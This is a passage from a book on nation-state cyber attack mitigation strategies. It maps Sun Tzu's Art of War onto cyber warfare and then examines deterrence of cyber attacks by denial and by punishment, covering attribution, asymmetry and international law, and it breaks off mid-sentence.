Objective Calculations Sun Tzu warns that a commander must exhaustively and dispassionately analyze all available information. Offensive operations in particular should wait until a decisive victory is expected. If objective calculations yield an unfavorable result, the inferior party must assume a defensive posture until circumstances have changed in its favor.343 Now the general who wins a battle makes many calculations in his temple ere the battle is fought. The general who loses a battle makes but few calculations before- hand. Thus do many calculations lead to victory, and few calculations to defeat: how much more no calculation at all! It is by attention to this point that I can foresee who is likely to win or lose. AoW: I. Laying Plans In any conflict, there are prevailing environmental and situational factors over which the combatants have little control. Art of War lists over three dozen such factors to evaluate, including offense/defense, orthodox/unorthodox, rested/exhausted, dry/ wet, and confident/afraid.344 Most of these will have direct or indirect parallels in cyberspace. In cyberspace, reliable calculations are extremely difficult to perform. First and fore- most, cyber attackers possess enough advantages over defenders that there is an enormous gap in Return-on-Investment (RoI) between them. The cost of conducting a cyber attack is cheap, and there is little penalty for failure. Network reconnais- sance can be conducted, without fear of retaliation, until a suitable vulnerability is found. Once an adversary system is compromised and exploited, there are often im- 341 Sun Tzu, Art of War: “XIII. The Use of Spies.” 342 Rarick, 1996. 343 Sawyer, 1994. 344 Ibid. 103 Sun Tzu: Can Our Best Military Doctrine Encompass Cyber War? mediate rewards. By comparison, cyber defense is expensive and challenging, and there is no tangible RoI. Another aspect of cyberspace that makes calculation difficult is its constantly changing nature. The Internet is a purely artificial construct that is modified contin- ually from across the globe. Cyber reconnaissance and intelligence collection are of reliable valuable to a military commander only for a short period of time. The geog- raphy of cyberspace changes without warning, and software updates and network reconfiguration create an environment where insurmountable obstacles and golden opportunities can appear and disappear as if by magic. The terrestrial equivalent could only be a catastrophic event such as an earthquake or an unexpected snow- storm. Art of War describes six types of battlefield terrain, ranging from “accessible,” which can be freely traversed by both sides, to “narrow passes,” which must either be strongly garrisoned or avoided altogether (unless the adversary has failed to fortify them).345 Although they will change over time, cyber equivalents for each Art of War terrain type are easily found in Internet, intranet, firewall, etc. The natural formation of the country is the soldier’s best ally; but a power of estimat- ing the adversary, of controlling the forces of victory, and of shrewdly calculating difficulties, dangers and distances, constitutes the test of a great general. AoW: X. Terrain Cyberspace possesses characteristics that the Art of War framework does not en- compass. For example, in cyberspace the terrestrial distance between adversaries can be completely irrelevant. If “connectivity” exists between two computers, attacks can be launched at any time from anywhere in the world, and they can strike their targets instantly. There is no easily defined “front line;” civilian and military zones on the Internet often share the same space, and military networks typically rely on civilian infrastructure to operate. With such amazing access to an adversary, never before in history has superior logic – not physical size or strength – more often de- termined the victor in conflict. Similar to cyber geography, cyber weapons also have unreliable characteristics. Some attacks that hackers expect to succeed fail, and vice versa. Exploits may work on one, but not another, apparently similar target. Exploits that work in one instance may never work again. Thus, it can be impossible to know if a planned cyber attack will succeed until the moment it is launched. Cyber weapons should be considered single-use weapons because defenders can reverse-engineer them to defend their 345 Sun Tzu, Art of War: “X. Terrain.” 104 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES networks or try to use them for their own offensive purposes. These limitations make meticulous pre-operational cyber attack planning and timing critical.346347 Last but not least, one of the major challenges confronting any military commander is to keep track of the location and constitution of adversary forces. However, cyber defenses such as passive network monitoring devices can be nearly impossible to find. If in the neighborhood of your camp there should be any hilly country, ponds sur- rounded by aquatic grass, hollow basins filled with reeds, or woods with thick under- growth, they must be carefully routed out and searched; for these are places where men in ambush or insidious spies are likely to be lurking. AoW: IX. The Army on the March Cyber commanders are wise to assume, especially if they are conducting an of- fensive operation on adversary terrain, that the defenses and traps they can see are more powerful than they appear, and that there are some defenses in place that they will never find. Adversary sensors could even lie on the open Internet, such as on a commercial Internet Service Provider (ISP), outside of the cyber terrain that the adversary immediately controls. Time to Fight Once the decision to go to war has been made (or forced), Sun Tzu offers plenty of battlefield advice to a military commander. Art of War operations emphasize speed, surprise, economy of force, and asymmetry. These characteristics happen to be syn- onymous with cyber warfare. Rapidity is the essence of war: take advantage of the enemy’s unreadiness, make your way by unexpected routes, and attack unguarded spots. AoW: XI. The Nine Situations If you set a fully equipped army in march in order to snatch an advantage, the chanc- es are that you will be too late. On the other hand, to detach a flying column for the purpose involves the sacrifice of its baggage and stores. AoW: VII. Maneuvering The potential role of computer network operations in military conflict has been compared to strategic bombing, submarine warfare, special operations forces, and 346 Parks & Duggan, 2001. 347 Lewis, 2002. 105 Sun Tzu: Can Our Best Military Doctrine Encompass Cyber War? assassins.348 The goal of such unorthodox, asymmetric attacks is to inflict painful damage on an adversary from a safe distance or from close quarters with the ele- ment of surprise. By discovering the enemy’s dispositions and remaining invisible ourselves, we can keep our forces concentrated, while the enemy’s must be divided.... Hence there will be a whole pitted against separate parts of a whole, which means that we shall be many to the enemy’s few. AoW: VI. Weak Points and Strong In theory, a cyber attack can accomplish the same objectives as a special forces raid, with the added benefit of no human casualties on either side. If cyber attacks were to achieve that level of success, they could come to redefine elegance in warfare. A cyber attack is best understood not as an end in itself, but as an extraordinary means to accomplish almost any objective. Cyber propaganda can reach the entire world in seconds via online news media. Cyber espionage can be used to steal even nuclear weapons technology.349 Moreover, a successful cyber attack on an electrical grid could bring down myriad other infrastructures that have no other source of power.350 In fact, in 2008 and 2009, hackers were able to force entire nation-states offline.351 Attacking a nation’s critical infrastructure is an old idea. Militaries seek to win not just individual battles, but wars. Toward that end, they must reduce an adversary’s long-term ability to fight. And the employment of a universal tool to attack an ad- versary in creative ways is not new. Witness Sun Tzu’s advice from Art of War on the use of fire: There are five ways of attacking with fire. The first is to burn soldiers in their camp; the second is to burn stores; the third is to burn baggage trains; the fourth is to burn arsenals and magazines; the fifth is to hurl dropping fire amongst the enemy. AoW: XII. The Attack by Fire Sun Tzu did not know that baggage trains would one day need functioning comput- ers and uncompromised computer code to deliver their supplies on time. Specific tactical advice from Art of War provides a clear example. As in the Syrian air defense attack cited above, Sun Tzu instructs military commanders to accomplish 348 Parks & Duggan, 2001. 349 Gerth & Risen, 1999. 350 Divis, 2005. 351 Keizer, 2008; Keizer, 2009. 106 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES something for which digital denial-of-service (DoS) appears ideal – to sever commu- nications between adversary military forces. Those who were called skillful leaders of old knew how to drive a wedge between the enemy’s front and rear; to prevent co-operation between his large and small divisions; to hinder the good troops from rescuing the bad, the officers from rallying their men. AoW: XI. The Nine Situations If modern military forces use the Internet as their primary means of communica- tion, what happens when the Internet is down? Thus it is likely that cyber attacks will play their most critical role when launched in concert with a conventional mili- tary (or terrorist) attack. Sun Tzu warns that surprise attacks may come when a defender’s level of alert is lowest: Now a soldier’s spirit is keenest in the morning; by noonday it has begun to flag; and in the evening, his mind is bent only on returning to camp. A clever general, therefore, avoids an army when its spirit is keen, but attacks it when it is sluggish and inclined to return. This is the art of studying moods. AoW: VII. Maneuvering Cyber criminals already operate according to this rule. They know the work sched- ules of network security personnel and often launch attacks in the evening, on week- ends, or on holidays when cyber defenders are at home. Unfortunately, given the current challenges facing cyber defense, it may be possible simply to tie up com- puter security specialists with diversionary attacks while the critical maneuvers take place elsewhere. If an invasion is successful, Sun Tzu advises military commanders to survive as much as possible on the adversary’s own resources. Hence a wise general makes a point of foraging on the enemy. One cartload of the enemy’s provisions is equivalent to twenty of one’s own, and likewise a single picul of his provender is equivalent to twenty from one’s own store. AoW: II. Waging War In this sense, Art of War and cyber warfare correspond perfectly. In computer hack- ing, attackers typically steal the credentials and privileges of an authorized user, af- ter which they effectively become an insider in the adversary’s (virtual) uniform. At that point, inflicting further damage on the network – and thus on the people using that network and their mission – through DoS or espionage is far easier. Such attacks could include poisoned pen correspondence and/or critical data modification. Even 107 Sun Tzu: Can Our Best Military Doctrine Encompass Cyber War? if the compromise is discovered and contained, adversary leadership may lose its trust in the computer network and cease to use it voluntarily. Finally, cyber warfare is no different from other military disciplines in that the suc- cess of an attack will depend on keeping its mission details a secret. Divine art of subtlety and secrecy! Through you we learn to be invisible, through you inaudible; and hence we can hold the enemy’s fate in our hands. AoW: VI. Weak Points and Strong In military jargon, this is called operational security (OPSEC). However, the charac- teristics that make cyber warfare possible – the ubiquity and interconnected nature of the Internet – ironically make good OPSEC more difficult than ever to achieve. Open source intelligence (OSINT) and computer hacking can benefit cyber defense as much as cyber offense. The Ideal Commander Decision-making in a national security context carries significant responsibilities because lives are often at stake. Thus, on a personal level, Art of War leadership requirements are high. The Commander stands for the virtues of wisdom, sincerity, benevolence, courage and strictness. AoW: I. Laying Plans Good leaders not only exploit flawed plans, but flawed adversaries.352 Discipline and self-control are encouraged; emotion and personal desire are discouraged.353 Sun Tzu states that to avoid a superior adversary is not cowardice, but wisdom.354 More- over, due to the painstaking nature of objective calculations, patience is a virtue. Thus it is that in war the victorious strategist only seeks battle after the victory has been won, whereas he who is destined to defeat first fights and afterwards looks for victory. AoW: IV. Tactical Dispositions Commanding a cyber corps will require a healthy mix of these admirable qualities. As a battleground, cyberspace offers political and military leaders almost limitless possibilities for success – and failure. Behind its façade of global connectivity and influence, the Internet has a complicated and vulnerable architecture that is an ideal 352 Parks & Duggan, 2001. 353 Sun Tzu, Art of War: “VIII. Variation in Tactics.” 354 Sawyer, 1994. 108 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES environment in which to conduct asymmetric and often anonymous military opera- tions. Imagination and creativity are required skill sets. Cyber warfare also involves an enormous amount of uncertainty; even knowing whether one is under attack can be an immense challenge. And the high tempo of Internet operations may lead to a high burn-out rate throughout the ranks. A cyber commander must have a minimum level of subject matter expertise in IT. The core concepts of computing, networking, and data security should be thorough- ly understood before employing them in support of a national security agenda. Any leader must be able to articulate the mission so that everyone in the organization understands and believes in it;355 a further challenge in cyber warfare will be com- municating with highly technical personalities, who have vastly different personal needs than the soldiers of a traditional military element. In all future wars, military leadership will have the challenge of coordinating and deconflicting the cyber and non-cyber elements of a battle plan. Sun Tzu gives high praise for a great tactician: Having collected an army and concentrated his forces, he must blend and harmonize the different elements thereof before pitching his camp. After that, comes tactical maneuvering, than which there is nothing more difficult. The difficulty of tactical maneuvering consists in turning the devious into the direct, and misfortune into gain. AoW: VII. Maneuvering As circumstances change throughout the course of a conflict, both tactics and strat- egy must be reevaluated and modified to fit the new environment.356 He who can modify his tactics in relation to his opponent and thereby succeed in winning, may be called a heaven-born captain. AoW: VI. Weak Points and Strong The dynamic nature of the Internet and the speed of computer network operations guarantee that traditional military challenges such as seizing the initiative and maintaining momentum will require faster decision cycles than a traditional chain- of-command can manage. A cyber commander must have the ability and the trust of his or her superiors to act quickly, creatively, and decisively. 355 Rarick, 1996. 356 Ibid. 109 Sun Tzu: Can Our Best Military Doctrine Encompass Cyber War? Art of Cyber War: Elements of a New Framework Art of War is the most influential military treatise in human history. The book has survived over 2,500 years in part because its guidance is highly flexible. Strategists and tacticians have adapted Art of War to new circumstances across many scientific revolutions, and Sun Tzu’s insight has never lost much of its resonance. This chapter argues that in the future cyber warfare practitioners should also use Art of War as an essential guide to military strategy. However, cyberspace possesses many characteristics that are unlike anything Sun Tzu could have imagined in an- cient China. There are at least ten distinctive aspects of the cyber battlefield. 1. The Internet is an artificial environment that can be shaped in part according to national security requirements. 2. The rapid proliferation of Internet technologies, including hacker tools and tactics, makes it impossible for any organization to be familiar with all of them. 3. The physical proximity of adversaries loses much of its relevance as cyber attacks are launched without regard to terrestrial geography. 4. Frequent software updates and network reconfiguration change Internet ge- ography unpredictably and without warning. 5. In a reversal of our historical understanding of warfare, the asymmetric na- ture of cyber attacks strongly favors the attacker. 6. Cyber attacks are more flexible than any weapon the world has seen. They can be used for propaganda, espionage, and the destruction of critical infra- structure. 7. Cyber attacks can be conducted with such a high degree of anonymity that defense strategies such as deterrence and retaliation are not credible. 8. It is possible that a lengthy and costly cyber war could take place without anyone but the direct participants knowing about it.357 9. The intangible nature of cyberspace can make the calculation of victory, de- feat, and battle damage a highly subjective undertaking. 10. There are few moral inhibitions to cyber warfare because it relates primarily to the use and exploitation of information in the form of computer code and data packets; so far, there is little perceived human suffering. 357 Libicki, 2009. 110 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES None of these characteristics of cyberspace or cyber conflict fits easily into Sun Tzu’s paradigm. As national security thinkers and military strategists begin to write concepts, strategies, and doctrine for cyber warfare with the Art of War model in mind, they should be aware of these differences. 111 Deterrence: Can We Prevent Cyber Attacks? 7. DETERRENCE: CAN WE PREVENT CYBER ATTACKS? National security planners have begun to look beyond reactive, tactical cyber de- fense to proactive, strategic cyber defense, which may include international military deterrence. The incredible power of nuclear weapons gave birth to deterrence, a military strategy in which the purpose of armies shifted from winning wars to pre- venting them. Although cyber attacks per se do not compare to a nuclear explosion, they do pose a serious and increasing threat to international security. Real-world examples suggest that cyber warfare will play a lead role in future international con- flicts. This chapter examines the two deterrence strategies available to nation-states (denial and punishment) and their three basic requirements (capability, communica- tion, and credibility) in light of cyber warfare. It also explores whether the two most challenging aspects of cyber attacks – attribution and asymmetry – will make cyber attack deterrence an impossible task. Cyber Attacks and Deterrence Theory The advent of nuclear weapons disrupted the historical logic of war completely. Deterrence theory emerged after the United States and the Soviet Union created enough military firepower to destroy human civilization on our planet. From that point forward, according to the American military strategist Bernard Brodie,358 the purpose of armies shifted from winning wars to preventing them. Nothing compares to the destructive power of a nuclear blast. But cyber attacks loom on the horizon as a threat that is best understood as an extraordinary means to a wide variety of political and military ends, many of which can have serious national security ramifications. For example, computer hacking can be used to steal offensive weapons technology (including technology for weapons of mass destruc- tion) or to render an adversary’s defenses inoperable during a conventional military attack.359 In that light, attempting proactively to deter cyber attacks may become an essential part of national military strategies. This chapter examines whether it is possible to apply deterrence theory to cyber attacks. What military officers call the “battlespace” grows more difficult to define – and to defend – over time. In 1965, Gordon Moore correctly predicted that the number of transistors on a computer chip would double every two years. There has been simi- lar growth in almost all aspects of information technology (IT), including practical 358 Brodie, 1946. 359 Fulghum et al., 2007. 112 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES encryption, user-friendly hacker tools, and Web-enabled open source intelligence (OSINT). Even the basic services of a modern society, such as water, electricity and telecommunications, are now computerized and often connected to the Internet.360 Advances in technology are normally evolutionary, but they can be revolutionary – artillery reached over the front lines of battle, and rockets and airplanes crossed national boundaries. Today, cyber attacks can target political leadership, military systems, and average citizens anywhere in the world, during peacetime or war, with the added benefit of attacker anonymity. Political and military strategists now use and abuse computers, databases, and the networks that connect them to achieve their objectives. In the early 1980s, this concept was already known in the Soviet Union as the Military Technological Revolution (MTR); after the 1991 Gulf War, the Pentagon’s Revolution in Military Affairs was almost a household term.361 However, the real-world impact of cyber conflict is still difficult to appreciate, in part because there have been no wars between modern cyber-capable militaries. But an examination of international affairs over the past two decades suggests that cyber battles of increasing consequence are easy to find. Since the earliest days of the World Wide Web, Chechen guerilla fighters, armed not only with rifles but with digital cameras and HTML, have demonstrated the power of Internet-enabled propa- ganda.362 In 2001, tensions between the United States and China spilled over into a non-state, “patriotic” hacker war, with uncertain consequences for national security leadership.363 In 2007, Syrian air defense was reportedly disabled by a cyber attack moments before the Israeli air force demolished an alleged Syrian nuclear reactor.364 In 2009, the entire nation-state of Kyrgyzstan was knocked offline during a time of domestic political crisis,365 and Iranian voters, in “open war” with state security forces, used peer-to-peer social networking websites to avoid government restric- tions on dialogue with the outside world.366 Such a rapid development in the use of cyber tools and tactics suggests that they will play a lead role in future international conflicts. While the Internet has on balance been hugely beneficial to society, law enforce- ment, and counterintelligence, personnel struggle to keep pace with its security 360 Geers, 2009. 361 Mishra, 2003. 362 Goble, 1999. 363 On April 26, 2001, the Federal Bureau of Investigation (FBI) National Infrastructure Protection Cen- ter (NIPC) released Advisory 01-009, “Increased Internet Attacks against U.S. Web Sites and Mail Servers Possible in Early May.” 364 Fulghum et al, 2007. 365 Keizer, 2009. 366 Stöcker et al., 2009. 113 Deterrence: Can We Prevent Cyber Attacks? implications. The ubiquity of the Internet makes cyber warfare a strategic weapon since adversaries can exchange blows at will, regardless of the physical distance be- tween them. By contrast, cyber defense is a tedious process, and cyber attack inves- tigations are typically inconclusive. The astonishing achievements of cyber crime and cyber espionage should hint at the potential damage of a true nation-state-spon- sored cyber attack. Intelligence officials such as former CIA director James Woolsey fear that even terrorist groups will possess cyber weapons of strategic significance in the next few years. Military leaders have begun to look beyond reactive, tactical cyber defense367 to the formulation of a proactive, strategic cyber defense policy, which may include inter- national military deterrence.368 However, two challenging aspects of cyber attacks – attribution and asymmetry – will be difficult to overcome. In theory, nation-states have two primary deterrence strategies – denial and punish- ment. Both strategies have three basic requirements – capability, communication, and credibility.369 This chapter will examine each concept in turn and explore whether it is possible to deter cyber attacks at the nation-state level. Cyber Attack Deterrence by Denial Deterrence by denial is a strategy in which an adversary is physically prevented from acquiring a threatening technology. This is the preferred option in the nuclear sphere because there is no practical defense against a nuclear explosion. Its heat alone is comparable to the interior of the sun, and its blast can demolish reinforced concrete buildings three kilometers away.370 The abhorrent nature of nuclear war- fare makes even a theoretical victory difficult to imagine. Deterrence by denial is a philosophy embodied in the Non-Proliferation Treaty (NPT) and one reason behind current international tension with North Korea and Iran.371 367 E.g., how to configure a network or an intrusion detection system. 368 In May, 2009, the head of the U.S. Strategic Command, Air Force Gen. Kevin Chilton, stated that retali- ation for a cyber attack would not necessarily be limited to cyberspace. 369 These deterrence strategies and requirements I took from a personal interview with Prof. Peter D. Feaver, Alexander F. Hehmeyer Professor of Political Science and Public Policy at Duke University and Director of the Triangle Institute for Security Studies (TISS). 370 Sartori, 1983. 371 Shultz et al., 2007. 114 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES Denial: Capability Despite the diplomatic efforts of NPT, the well-funded inspection regime of the In- ternational Atomic Energy Agency (IAEA)372 and unilateral military operations such as Israel’s destruction of nuclear facilities in Iraq in 1981 and in Syria in 2007, the size of the world’s nuclear club is growing. In addition to the five permanent mem- bers of the United Nations Security Council,373 de facto members now include India, Israel, Pakistan, and North Korea.374 Cyber attack tools and techniques are not nearly as dangerous as their nuclear coun- terparts, but they are by comparison simple to acquire, deploy, and hide. Hacker training and conferences are abundant; over the past 17 years, almost 1,000 how-to presentations have been given at DEF CON. More sensitive hacker information can be kept secret, physically transported on a miniscule hard drive, or sent encrypted across the Internet. A nuclear weapons program is difficult to hide;375 a cyber weap- ons program is not. Cyber attacks can be tested discretely in a laboratory environ- ment376 or live on the Internet, anonymously. Further, it appears increasingly com- mon to outsource the illegal business of hacking to a commercial or criminal third party.377 A major challenge to cyber attack tool anti-proliferation is how to define malicious code. A legitimate path for remote system administration can also be used by a masquerading hacker to steal national secrets. Even published operating system and application code is difficult for experts to understand thoroughly, as there are simply too many lines of code to analyze.378 The dynamic and fast-evolving nature of cyber attack technology contrasts sharply with the fundamental design of nuclear warheads, which, with the exception of the neutron bomb, has not changed much since the late 1950s.379 In the single month of May 2009, Kaspersky Anti-Virus Lab 372 The IAEA is the world’s nuclear inspectorate, with more than four decades of verification experience. Inspectors work to verify that safeguarded nuclear material and activities are not used for military purposes. The annual budget of IAEA is almost $500 million USD. 373 China, France, Russia, United Kingdom and United States. 374 Huntley, 2009. 375 Milhollin & Lincy, 2009. 376 With nuclear weapons, a hard-to-conceal test is required to prove that a capability exists. If the goal were cyber attack tool anti-proliferation, it would seem difficult to know if or when success had been achieved. 377 Jolly, 2009: In 2009, the French Interior Ministry investigated the collection of “strategic intelli- gence” by a former intelligence agent and a for-hire computer hacker on behalf of some of France’s biggest companies. 378 Cole, 2002. 379 There have, however, been many design modifications relating to safety, security, and reliability. 115 Deterrence: Can We Prevent Cyber Attacks? reported that it had found 42,520 unique, suspicious programs on its clients’ com- puters. Finally, in nuclear warfare one of the most important considerations is the retention of a second-strike capability. Following a surprise attack, is it still possible for the victim to fight back? In nuclear and conventional warfare, this is a constant worry among strategic planners. In contrast, a unique characteristic of cyber attacks is their ability to be launched from anywhere in the world, at any time. During the cyber attacks on Estonia in 2007, most of the compromised and attacking comput- ers were located in the United States.380 Cyber attacks can be set to launch under predetermined conditions or on a certain date in the future. Discovered attack tools can also be difficult to remove from a computer network completely, even by forensic experts. With cyber attack technology, it seems impossible to know for sure that all adversary attack options have been eliminated. Denial: Communication Cyber attacks now have the attention of the world’s national security planners. In the U.S., enhancing cyber security was one of the six “mission objectives” of the 2009 Director of National Intelligence (ODNI) National Intelligence Strategy,381 and counteracting the cyber threat is currently the third-highest priority of the Federal Bureau of Investigation (FBI), after preventing terrorist attacks and thwarting for- eign intelligence operations. However, cyber warfare is a new phenomenon; national and international norms have yet to be established. Different approaches are under consideration. One is to broaden international law enforcement coordination, specifically via the Council of Europe Convention on Cybercrime. Objections to this strategy include the possible infringement of national sovereignty by foreign law enforcement agencies. Another approach is to prohibit the development of cyber weapons via international treaty, such as that negotiated for chemical weapons. Articles to such a treaty might ban supply chain attacks and the disruption of non-combatant networks, as well as in- crease international management of the Internet. One objection to the second ap- proach is that it does little to improve cyber attack attribution.382 380 As computer incident response teams began to block hostile network packets, the source of the attack moved to countries with less mature and/or helpful network management practices. 381 The other five objectives were Combat Violent Extremism, Counter WMD Proliferation, Provide Stra- tegic Intelligence and Warning, Integrate Counterintelligence Capabilities, and Support Current Op- erations. 382 Markoff & Kramer, 2009b. 116 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES The Convention on Cybercrime is the first such international treaty. It describes law enforcement powers and procedures related to data interception and the search of computer networks. In 2009, forty-six nations were signatories, and twenty-six had ratified the treaty.383 Its main objective, set out in the Preamble, is to pursue a common criminal policy aimed at the protection of society against cybercrime, especially via national legislation and international cooperation. Deterrence is spe- cifically mentioned as a goal: “the present Convention is necessary to deter action directed against the confidentiality, integrity and availability of computer systems.” The continued success of the Convention on Cybercrime requires addressing myriad national and international data security and privacy concerns, including the respect for national sovereignty. A non-governmental organization in Thailand, for example, has claimed that similar legislation there has been used by the government more to threaten Thai citizens than to protect them.384 A proposed international treaty banning the development and use of hacker tools would be no less challenging to sign and enforce, because many hacker tools can properly be called dual-use tech- nology.385 The Council of Europe’s protocol on criminalizing racist and xenophobic statements on the Web may offer a partial solution. Because countries have wildly varying laws regarding what constitutes free speech, universally-accessible websites can create international legal headaches.386 This protocol recommends a nationally-tailored ap- proach to regulation that allows for implementation at the local ISP and end-user levels. In this way, signatories are able to project their norms of free speech onto the Internet, without extending liability beyond national borders.387388 Denial: Credibility Deterrence theory states that capability and communication alone are insufficient. The threatened party must believe that the threat of retaliation – or of a preemptive strike – is real. This third requirement of deterrence is the most difficult for national 383 The U.S. acceded to the Council of Europe Convention on Cybercrime on January 1, 2007. 384 Anonymous, 2009. 385 System administrators often use hacker tools such as a password cracker to audit their own networks. Cyber defense studies in academia require hacker tools for laboratory purposes. 386 For example, a French judge found a U.S. ISP criminally liable for hosting an auction of Nazi parapher- nalia, the sale of which is illegal in France. 387 Oberdorfer Nyberg, 2004. 388 The named methods of implementing the protocol are self-regulation of content by ISPs, government regulation of specific content, government regulation of end-users, and government regulation of local ISPs. 117 Deterrence: Can We Prevent Cyber Attacks? security leadership to assess because it involves evaluating human psychology, ra- tionality, the odds of miscalculation, and foreign political-military affairs. At the beginning of the year 2011, it was still not likely that nation-states would sacrifice much to prevent the proliferation of cyber attack tools and techniques. Al- though it is indisputable that cyber attacks cause enormous financial damage, that world leaders increasingly complain of cyber espionage, and that Internet-connect- ed critical infrastructures are now at risk, deterrence theory was created for nuclear weapons. In terms of their destructive power, nukes are in a class by themselves. Cyber attacks per se do not cause explosions, deadly heat, radiation, an electro- magnetic pulse (EMP), or human casualties.389 However, a future cyber attack, if it caused any of the above effects, could change this perception. Worldwide technological convergence, as described by Dawson,390 is constantly expanding what hackers call the “attack surface.” In theory, the suc- cessful conquest of an adversary’s Internet space could equate to assuming com- mand and control of the adversary’s military forces, and firing their own weapons against their own cities. But for now, this scenario still lies in the realm of science fiction. Cyber Attack Deterrence by Punishment Deterrence by punishment is a strategy of last resort. It signifies that deterrence by denial was not possible or has failed, and that Country X possesses the technology it needs to threaten Country Y or its government. The goal of deterrence by punish- ment is to prevent aggression by threatening greater aggression in the form of pain- ful and perhaps fatal retaliation. For the strategy to work, Country X must be con- vinced that victory is not possible, even given the option of using its new technology. Two key aspects of cyber attacks present challenges to national security planners who would seek to deter them by punishment: attribution and asymmetry. The first challenge undermines a state’s capability to respond to a cyber attack, and the sec- ond undermines its credibility. Punishment: Capability All nations with robust military, law enforcement, and/or diplomatic might theoreti- cally have the power to punish a cyber attacker in some way, either in cyberspace 389 Persuasive cyber war skeptics include Cambridge University Professor Ross Anderson and Wired “Threat Level” Editor Kevin Poulsen. 390 Dawson, 2003. 118 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES or in the real world. And if a known attacker is beyond the reach of physical pursuit, the victim could at least present incriminating evidence in an international forum. But in practice, for punishment to be a viable option, the victim must know for sure who the attacker is and be able to prove it. In cyber warfare, the attacker enjoys a formidable advantage: anonymity. Proof in cyberspace is hard to come by. Smart hackers hide within the maze-like architec- ture of the Internet. They route attacks through countries with which the target’s government has poor diplomatic relations or no law enforcement cooperation, and exploit unwitting third-party networks. Cyber investigations typically end at a hacked, abandoned computer, where the trail goes cold. Plausible deniability is also a concern. Because hackers obscure the true origin of an attack by hopping through a series of compromised computers to reach their target, the real attacker could always claim that her computer had merely been hacked and used in someone else’s operation. This aspect of cyber attacks also makes “false flagging,” or intentionally trying to pin the blame on a third party, an attractive option. Even in the event that cyber attack attribution is positively determined, deterrence by punishment is still inherently less credible than deterrence by denial. It requires decision-makers to make more difficult choices. A proactive law enforcement strat- egy is easier to justify than the use of military force, which can cause physical de- struction, human casualties, or other collateral damage. At the very least, there will be serious diplomatic consequences. One important decision facing decision-makers in the aftermath of a cyber attack would be whether to retaliate in kind or to employ more conventional weapons. It may seem logical to keep the conflict within cyberspace, but a cyber-only response does not guarantee proportionality, and a cyber counterattack may lack the required precision. A misfire in cyberspace might adversely affect critical national infrastruc- ture, such as a hospital, which could result in a violation of the Geneva Conven- tion and even bring war crimes charges against national authorities.391 The Law of Armed Conflict states that the means and methods of warfare are not unlimited:392 commanders may use “only that degree and kind of force ... required in order to achieve the legitimate purpose of the conflict ... with the minimum expenditure of life and resources.”393 391 Graham, 1999. 392 See “Convention (IV) respecting the Laws and Customs of War on Land and its annex: Regulations concerning the Laws and Customs of War on Land.” The Hague, 18 October 1907, International Com- mittee of the Red Cross. 393 This quote is from The Manual of the Law of Armed Conflict, Section 2.2 (Military Necessity). United Kingdom: Ministry of Defence. Oxford: OUP. (2004). 119 Deterrence: Can We Prevent Cyber Attacks? Punishment: Communication Whereas deterrence by denial relies on a criminal law framework for support, the foundation of deterrence by punishment lies in military doctrine. When bombs be- gin to fall on adversary targets, diplomatic and law enforcement options have nor- mally run their course. Military doctrine serves at least two important purposes: to prepare a nation’s military forces for conflict, and to warn potential foes of the consequences of war. It should not be surprising that the advent of an open and ubiquitous communica- tions medium like the Internet demands a reassessment of military strategy, tactics, and doctrine. In 2006, a secret Israeli government report argued for a “sea change” in military thinking because the national security paradigm of army versus army was under assault by suicide bombers, Katyusha rockets and computer hackers, none of whom has to have direct ties to government or even be susceptible to po- litical pressure.394 In China, the potential impact of computer network operations on the nature of warfare is thought to be strong enough even to have transformed 2,500 years of military wisdom; the Chinese military has almost certainly quit the defensive depth of the Chinese countryside to conquer international cyberspace.395 In Washington, one of the first reports that incoming President Obama found on his desk was “Securing Cyberspace for the 44th Presidency,” which argued that the U.S. must have a credible military presence in cyberspace to act as a deterrent against operations by its adversaries in that domain.396 Cyber doctrine must address how military and civilian authorities will collaborate to protect private sector critical information infrastructure. Even cyber attacks that strike purely military sites are likely to traverse civilian networks before reaching their target. In fact, the destruction of civilian infrastructure may be the cyber at- tacker’s only goal. A further challenge is that private sector enterprises such as banks have been reluctant to disclose successful cyber attacks against them for fear of an impact on their bottom line. This dynamic could make it difficult for national security leadership even to know that an attack on its national territory – in violation of its national sovereignty – has occurred. Thus, proactive cyber attack deterrence by government to defend civilian infrastructure will be difficult to achieve, and any national response may be too little, too late. The dynamic nature of cyber attacks could ensure that defenders never see the same attack twice. Therefore, decision makers will need a range of diplomatic and military options to consider for a punitive response. In terms of military doctrine, 394 Fulghum, 2006. 395 Rose, 1999. 396 Lewis, 2008. 120 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES one possibility might be the delineation of red lines in cyberspace. Propaganda and low-level computer network exploitation (CNE) may trigger the first line of passive cyber defense, while the manipulation of code in an operational weapons system could be grounds for real-world retaliation. Finally, to support a deterrence strategy, cyber doctrine must be clearly written. An adversary should have no doubt what the consequences will be if the red lines are crossed. Punishment: Credibility As we have seen, the credibility of cyber attack deterrence by denial is low. The po- litical will and even the capability to attempt such a denial are lacking. Therefore, a strategy of cyber attack deterrence by punishment is a more likely scenario. The trouble with a punishment strategy, however, is that governments are always reluctant to authorize the use of military force (for good reason). Deterrence by pun- ishment is a simple strategy, but one that demands a high burden of proof: a serious crime must have been committed, and the culprit positively identified. The challenge of cyber attack attribution, as described above, means that decision-makers will likely not have enough information on an adversary’s cyber capabilities, intentions, and operations to respond in a timely fashion. However, there is another characteristic of cyber attacks that undermines the cred- ibility of deterrence by punishment even more: asymmetry. At the nation-state level, some countries are more dependent upon the Internet than others. Some govern- ments possess sophisticated computer network attack programs, while others have none at all. Non-state actors such as a lone hacker or a terrorist group may not possess any computer network or other identifiable infrastructure against which to retaliate. The asymmetric nature of information technology and cyber warfare manifests it- self in countless ways. From a technical perspective, the Smurf attack is a classic ex- ample. A hacker sitting at computer X pretends to be coming from computer Y, then requests data from hundreds of other computers at once. Myriad responses easily overwhelm computer Y, creating a denial-of-service condition.397 From a human per- spective, the case of Briton Gary McKinnon is illuminating. According to McKinnon, he is a “bumbling hacker” who was merely looking for UFO data on unsecured Penta- gon networks. But the U.S. prosecutor seeking his extradition describes McKinnon’s 397 See “Smurf IP Denial-of-Service Attacks,” CERT Advisory CA-1998-01. 121 Deterrence: Can We Prevent Cyber Attacks? exploits as “the biggest military 